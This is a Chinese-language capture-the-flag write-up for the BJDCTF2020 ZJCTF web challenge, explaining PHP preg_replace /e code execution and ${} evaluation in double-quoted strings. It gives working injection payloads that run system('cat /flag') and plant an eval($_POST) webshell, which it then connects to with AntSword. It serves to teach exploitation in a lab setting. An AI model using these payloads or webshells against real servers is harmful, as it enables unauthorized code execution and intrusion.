[BJDCTF2020]ZJCTF,不过如此(preg_match函数和双引号${}的代码执行)

进入题目:
[BJDCTF2020]ZJCTF,不过如此(preg_match函数和双引号${}的代码执行)_第1张图片
发现文件包含,和next.php页面,我们用php伪协议构造符合条件的文件包含来读取next.php的代码:
[BJDCTF2020]ZJCTF,不过如此(preg_match函数和双引号${}的代码执行)_第2张图片
解码后得到php代码:
[BJDCTF2020]ZJCTF,不过如此(preg_match函数和双引号${}的代码执行)_第3张图片


$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

注意到preg_replace中的/e修正符,指的是如果匹配到了,就会将preg_replace的第二个参数当做php代码执行,也就是代替的内容,这个题里面是strtolower("\1")

preg_replace:
功能 : 函数执行一个正则表达式的搜索和替换

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject)

搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换

  • PHP小于5.5的版本中,$pattern 存在 /e 模式修正符,允许代码执行
  • /e 模式修正符,使 preg_replace() 将 $replacement 当做php代码来执行

相当于 eval(‘strtolower("\1");’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

这里的 \1 实际上指定的是第一个子匹配项,即(' . $re . ')中所匹配到的内容。

我们这里的思路是:
可以看到,next.php中定义了一个getFlag函数,我们可以通过给cmd传参达到命令执行,但是这里仅仅是定义了这个函数,并没有调用它,所以我们仅传参是没有用的,要想办法调用这个getFlag函数。这里preg_replace函数就有用了,

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

我们看到,preg_replace的参数都是可控的,我们可以构造类似以下payload实现getFlag函数的调用:

/?.*=${执行的命令}
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);   // 原先的语句

preg_replace('/(.*)/ei','strtolower("\\1")',${执行的命令});     // 之后的语句

preg_replace('/(\S*)/ei','strtolower("\\1")',${执行的命令});    // 或者构造语句
表达式 .* 就是单个字符匹配任意,即贪婪匹配。 表达式 .*? 是满足条件的情况只匹配一次,即最小匹配.
\s    匹配任何空白非打印字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。注意 Unicode 正则表达式会匹配全角空格符。   
\S    匹配任何非空白非打印字符。等价于 [^ \f\n\r\t\v]

payload有几种:

next.php?\S*=${getFlag()}&cmd=system('cat /flag');

next.php?\S*=${getflag()}&cmd=show_source('/flag');

next.php?\S%2b=${getFlag()}&cmd=system('cat+/flag');

注意 我们之前构造了一种payload

preg_replace('/(.*)/ei','strtolower("\1")',${执行的命令});

发现无法使用,原因是这里的$re部分是由Get传入,当以非法字符**(.)**开头的参数就会自动转为下划线,导致匹配失败

所以不能使用**(.)**,如果不用Get传参可以执行。

得到flag:
[BJDCTF2020]ZJCTF,不过如此(preg_match函数和双引号${}的代码执行)_第4张图片
至于为什么${执行的命令}

在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题。
举个简单例子:


$a = 1;
$b = 2;
echo '$a$b';//输出结果为$a$b
echo "$a$b";//输出结果为12
?>

可以看到这两个输出的结果并不相同。

而在双引号中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。

利用方法:${php代码}

${phpinfo()};

[BJDCTF2020]ZJCTF,不过如此(preg_match函数和双引号${}的代码执行)_第5张图片
题目中,我们构造了payload:

preg_replace('/(\S*)/ei','strtolower("\\1")',${getFlag()});

这里参数strtolower("\\1")含有双引号,而我们的目的是调用getFlag()函数,所以这里的双引号正好满足了我们的需求,将${getFlag()}中的代码给执行了,成功调用了getFlag()函数。

所以这里我们还有几种解题的方法:
payload:

next.php?\S*=${eval($_POST[whoami])}
POST:
whoami=system("cat /flag");

[BJDCTF2020]ZJCTF,不过如此(preg_match函数和双引号${}的代码执行)_第6张图片
连接蚁剑:
[BJDCTF2020]ZJCTF,不过如此(preg_match函数和双引号${}的代码执行)_第7张图片
[BJDCTF2020]ZJCTF,不过如此(preg_match函数和双引号${}的代码执行)_第8张图片

你可能感兴趣的:([BJDCTF2020]ZJCTF,不过如此(preg_match函数和双引号${}的代码执行))